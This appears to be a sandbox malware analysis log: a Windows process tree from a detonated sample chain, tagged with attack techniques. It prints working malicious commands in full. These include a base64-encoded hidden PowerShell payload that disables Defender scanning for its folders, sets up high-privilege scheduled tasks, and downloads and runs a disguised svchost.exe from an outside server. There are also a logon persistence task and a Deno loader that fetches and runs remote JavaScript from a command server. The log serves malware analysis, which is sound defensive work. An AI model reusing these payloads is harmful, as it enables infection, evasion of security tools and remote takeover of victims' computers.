C:\Users\Admin\AppData\Local\Temp\a\Organized_2012.109_INSTALL.exeOrganized_2012.109_INSTALL.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-N38MB.tmp\Organized_2012.109_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-N38MB.tmp\Organized_2012.109_INSTALL.tmp" /SL5="$30438,2513863,856064,C:\Users\Admin\AppData\Local\Temp\a\Organized_2012.109_INSTALL.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Organized_2012.109_INSTALL.exe"C:\Users\Admin\AppData\Local\Temp\a\Organized_2012.109_INSTALL.exe" /VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-K73QP.tmp\Organized_2012.109_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-K73QP.tmp\Organized_2012.109_INSTALL.tmp" /SL5="$20354,2513863,856064,C:\Users\Admin\AppData\Local\Temp\a\Organized_2012.109_INSTALL.exe" /VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD7⤵
-
C:\ProgramData\09378f14-4f77-4e5a-baac-0eb9e134a52d\eServiceHost.exe"C:\ProgramData\09378f14-4f77-4e5a-baac-0eb9e134a52d\eServiceHost.exe" -Embedding8⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exeCFXBypass.exe4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Checking for updates...', 'Updater', 'OK', 'Information')"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Roaming\59b6c15620bb9f240.exeC:\Users\Admin\AppData\Roaming\59b6c15620bb9f240.exe5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGEAbgBnAHIAeQAtAHQAbwBhAHMAdABlAHIALgBjAG8AbQA6ADQANAAzACcALAAkAGIAbwBkAHkAKQA7ACQAcgBpAHYAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMAAuAC4AMQA1AF0AOwAkAGUAbgBjAD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADEANgAuAC4AKAAkAGQAYQB0AGEALgBMAGUAbgBnAHQAaAAtADEAKQBdADsAJABhAGUAcwAuAEkAVgA9ACQAcgBpAHYAOwAkAGQAZQBjAD0AJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGUAbgBjACwAMAAsACQAZQBuAGMALgBMAGUAbgBnAHQAaAApADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAsACQAZABlAGMAKQA7AEMAbwBwAHkALQBJAHQAZQBtACAAKAAkAHAAMQAgACsAIAAoACcAXABzACcAKwAnAHYAYwBoAG8AJwArACcAcwAnACsAJwB0AC4AZQAnACsAJwB4ACcAKwAnAGUAJwApACkAIAAiACQAcAAyAHQAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AA==7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\core_90.63.0_INSTALL.execore_90.63.0_INSTALL.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-HS2OS.tmp\core_90.63.0_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-HS2OS.tmp\core_90.63.0_INSTALL.tmp" /SL5="$2045A,3281750,856064,C:\Users\Admin\AppData\Local\Temp\a\core_90.63.0_INSTALL.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\a\core_90.63.0_INSTALL.exe"C:\Users\Admin\AppData\Local\Temp\a\core_90.63.0_INSTALL.exe" /VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-75CCM.tmp\core_90.63.0_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-75CCM.tmp\core_90.63.0_INSTALL.tmp" /SL5="$6022E,3281750,856064,C:\Users\Admin\AppData\Local\Temp\a\core_90.63.0_INSTALL.exe" /VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD7⤵
-
C:\ProgramData\b74ce486-b4a5-416c-a8b2-01d805cb4185\FnHotkeyUtility.exe"C:\ProgramData\b74ce486-b4a5-416c-a8b2-01d805cb4185\FnHotkeyUtility.exe" -Embedding8⤵
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 7FA4E907A75C19FDA51EE9C4F508E44D C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSID126.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240707453 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding B7BBE5B1EF188670AA4F952337BA014D C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI72A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240718265 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A5EADB87DC3D261D4DB7D74D4032CF09 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI2CA4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240757828 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\app\sierra70.vbs"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\app\Oscar_system61.ps1"3⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -s https://dl.deno.land/release-latest.txt4⤵
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -Lo C:\Users\Admin\.deno\bin\deno.zip https://dl.deno.land/release/v2.6.9/deno-x86_64-pc-windows-msvc.zip4⤵
-
-
C:\Windows\system32\tar.exe"C:\Windows\system32\tar.exe" xf C:\Users\Admin\.deno\bin\deno.zip -C C:\Users\Admin\.deno\bin4⤵
-
-
C:\Users\Admin\.deno\bin\deno.exe"C:\Users\Admin\.deno\bin\deno.exe" -A data:application/javascript;base64,ZnVuY3Rpb24gaShuKXtsZXQgdD0wLGU9MjY1NDQzNTc2OTtmb3IobGV0IG89MDtvPG4ubGVuZ3RoO28rKyl0PSh0PDw1KS10K24uY2hhckNvZGVBdChvKXwwLGU9KGU8PDUpLWUrbi5jaGFyQ29kZUF0KG8pfDA7cmV0dXJuKHQ+Pj4wKS50b1N0cmluZygxNikucGFkU3RhcnQoOCwiMCIpKyhlPj4+MCkudG9TdHJpbmcoMTYpLnBhZFN0YXJ0KDgsIjAiKX1mdW5jdGlvbiBhKCl7bGV0IG49RGVuby5lbnYuZ2V0KCJVU0VSTkFNRSIpfHxEZW5vLmVudi5nZXQoIlVTRVIiKXx8IiIsdD1EZW5vLmhvc3RuYW1lKCksZT1EZW5vLnN5c3RlbU1lbW9yeUluZm8oKSxvPURlbm8ub3NSZWxlYXNlKCkscj1gJHtufSR7dH0ke2UudG90YWx9JHtvfWA7cmV0dXJuIGkocil9dmFyIGM9bnVsbDtmdW5jdGlvbiBzKG4pe3RyeXtyZXR1cm4gYz1EZW5vLmxpc3Rlbih7cG9ydDpuLGhvc3RuYW1lOiIxMjcuMC4wLjEiLHRyYW5zcG9ydDoidGNwIn0pLCEwfWNhdGNoKHQpe2lmKHQgaW5zdGFuY2VvZiBEZW5vLmVycm9ycy5BZGRySW5Vc2UpcmV0dXJuITE7dGhyb3cgdH19ZnVuY3Rpb24gdShuKXtsZXQgdD1gKGFzeW5jKCk9Pntjb25zdCByPWF3YWl0IGZldGNoKCIke259Iik7Y29uc3QgdD1hd2FpdCByLnRleHQoKTtjb25zdCBiPW5ldyBUZXh0RW5jb2RlcigpLmVuY29kZSh0KTtjb25zdCBjPVtdO2ZvcihsZXQgaT0wO2k8Yi5sZW5ndGg7aSs9ODE5MiljLnB1c2goU3RyaW5nLmZyb21DaGFyQ29kZSguLi5iLnN1YmFycmF5KGksaSs4MTkyKSkpO2NvbnN0IG09YXdhaXQgaW1wb3J0KCJkYXRhOmFwcGxpY2F0aW9uL2phdmFzY3JpcHQ7YmFzZTY0LCIrYnRvYShjLmpvaW4oIiIpKSk7YXdhaXQgbS5kZWZhdWx0KCl9KSgpYDtyZXR1cm5gZGF0YTphcHBsaWNhdGlvbi9qYXZhc2NyaXB0O2Jhc2U2NCwke2J0b2EodCl9YH1hc3luYyBmdW5jdGlvbiBsKG4pe2xldCB0PURlbm8uZXhlY1BhdGgoKSxlPW5ldyBEZW5vLkNvbW1hbmQodCx7YXJnczpbIi1BIixuXSxzdGRvdXQ6ImluaGVyaXQiLHN0ZGVycjoiaW5oZXJpdCJ9KSx7Y29kZTpvfT1hd2FpdCBlLm91dHB1dCgpO2lmKG8hPT0wKXRocm93IG5ldyBFcnJvcihgTW9kdWxlIHByb2Nlc3MgZXhpdGVkIHdpdGggY29kZSAke299YCl9YXN5bmMgZnVuY3Rpb24gZCgpe2xldCBuPSJodHRwOi8vd2VhcGxpbmsuY29tIi5zcGxpdCgiLCIpO3RyeXtyZXR1cm4gYXdhaXQgUHJvbWlzZS5hbnkobi5tYXAoYXN5bmMgdD0+e2xldCBlPWF3YWl0IFByb21pc2UucmFjZShbZmV0Y2goYCR7dH0vaGVhbHRoYCkuY2F0Y2gobz0+KGNvbnNvbGUubG9nKGBmZXRjaCBlcnJvciBmb3IgJHt0fTpgLG8ubWVzc2FnZSksbnVsbCkpLG5ldyBQcm9taXNlKG89PnNldFRpbWVvdXQoKCk9Pntjb25zb2xlLmxvZyhgdGltZW91dCBmb3IgJHt0fWApLG8obnVsbCl9LDNlMykpXSk7aWYoY29uc29sZS5sb2coYHJlc3BvbnNlIGZvciAke3R9OmAsZT8uc3RhdHVzLGU/Lm9rKSxlJiZlLm9rKXJldHVybiB0O3Rocm93IG5ldyBFcnJvcigiVVJMIHVuYXZhaWxhYmxlIil9KSl9Y2F0Y2godCl7cmV0dXJuIGNvbnNvbGUubG9nKCJQcm9taXNlLmFueSBmYWlsZWQ6Iix0KSxudWxsfX1hc3luYyBmdW5jdGlvbiBtKCl7cygxMDA0NCl8fERlbm8uZXhpdCgxKTtsZXQgdD1hKCk7Zm9yKDs7KXRyeXtsZXQgZT1hd2FpdCBkKCk7aWYoIWUpdGhyb3cgbmV3IEVycm9yKCJObyB2YWxpZCBBUEkgVVJMIGZvdW5kIik7bGV0IG89YCR7ZX0vbXYyL2V5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS5leUpqWVcxd1lXbG5ia2xrSWpvaVpURmhOelF6TWpWbE5tWmpPR0l3TmlJc0ltTmhiWEJoYVdkdVRtRnRaU0k2SW0xaGFXNGlMQ0pqWVcxd1lXbG5ibFZ5YkNJNkltMWhhVzRpTENKamIyNW1hV2RKWkNJNkltVTBaR1U1TTJSbVpERmtNRFl3TkdJaUxDSndjbTk0YVdWeklqcGJJbWgwZEhBNkx5OTNaV0Z3YkdsdWF5NWpiMjBpWFN3aWRYTmxja2xrSWpvaVpUZ3lZell5TVdFd1lUWm1NalkyT0NJc0luVnpaWEpPYjNSbElqb2liV0ZwYmlJc0ltbGhkQ0k2TVRjM01ERTFNVGd3TXl3aVpYaHdJam95TURnMU56STNPREF6ZlEuTjhJVzFNa3JuancxcERVMXlnQkJuaTFkX3BUYlEtNWdWbWltTGJsakR0US8ke3R9YCxyPXUobyk7YXdhaXQgbChyKX1jYXRjaChlKXtjb25zb2xlLmVycm9yKGUpfWZpbmFsbHl7YXdhaXQgbmV3IFByb21pc2UoZT0+c2V0VGltZW91dChlLDFlMykpfX1tKCk7Cg==4⤵
-
C:\Users\Admin\.deno\bin\deno.exeC:\Users\Admin\.deno\bin\deno.exe -A data:application/javascript;base64,KGFzeW5jKCk9Pntjb25zdCByPWF3YWl0IGZldGNoKCJodHRwOi8vd2VhcGxpbmsuY29tL212Mi9leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKallXMXdZV2xuYmtsa0lqb2laVEZoTnpRek1qVmxObVpqT0dJd05pSXNJbU5oYlhCaGFXZHVUbUZ0WlNJNkltMWhhVzRpTENKallXMXdZV2xuYmxWeWJDSTZJbTFoYVc0aUxDSmpiMjVtYVdkSlpDSTZJbVUwWkdVNU0yUm1aREZrTURZd05HSWlMQ0p3Y205NGFXVnpJanBiSW1oMGRIQTZMeTkzWldGd2JHbHVheTVqYjIwaVhTd2lkWE5sY2tsa0lqb2laVGd5WXpZeU1XRXdZVFptTWpZMk9DSXNJblZ6WlhKT2IzUmxJam9pYldGcGJpSXNJbWxoZENJNk1UYzNNREUxTVRnd015d2laWGh3SWpveU1EZzFOekkzT0RBemZRLk44SVcxTWtybmp3MXBEVTF5Z0JCbmkxZF9wVGJRLTVnVm1pbUxibGpEdFEvOTIyYTQwMDlhN2U2MGI4MiIpO2NvbnN0IHQ9YXdhaXQgci50ZXh0KCk7Y29uc3QgYj1uZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUodCk7Y29uc3QgYz1bXTtmb3IobGV0IGk9MDtpPGIubGVuZ3RoO2krPTgxOTIpYy5wdXNoKFN0cmluZy5mcm9tQ2hhckNvZGUoLi4uYi5zdWJhcnJheShpLGkrODE5MikpKTtjb25zdCBtPWF3YWl0IGltcG9ydCgiZGF0YTphcHBsaWNhdGlvbi9qYXZhc2NyaXB0O2Jhc2U2NCwiK2J0b2EoYy5qb2luKCIiKSkpO2F3YWl0IG0uZGVmYXVsdCgpfSkoKQ==5⤵
-
-
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\ProgramData\lsbhd.exeC:\ProgramData\lsbhd.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 8712 -ip 87121⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\VD4ZhoY.exeC:\Users\Admin\AppData\Local\Temp\a\VD4ZhoY.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\VD4ZhoY.exe"C:\Users\Admin\AppData\Local\Temp\a\VD4ZhoY.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Loader.exeC:\Users\Admin\AppData\Local\Temp\a\Loader.exe1⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows SystemEnv Core"2⤵
-
-
C:\Windows\System32\alg.exeC:\Windows\System32\alg.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Loader.exeC:\Users\Admin\AppData\Local\Temp\a\Loader.exe1⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows SystemEnv Core"2⤵
-
-
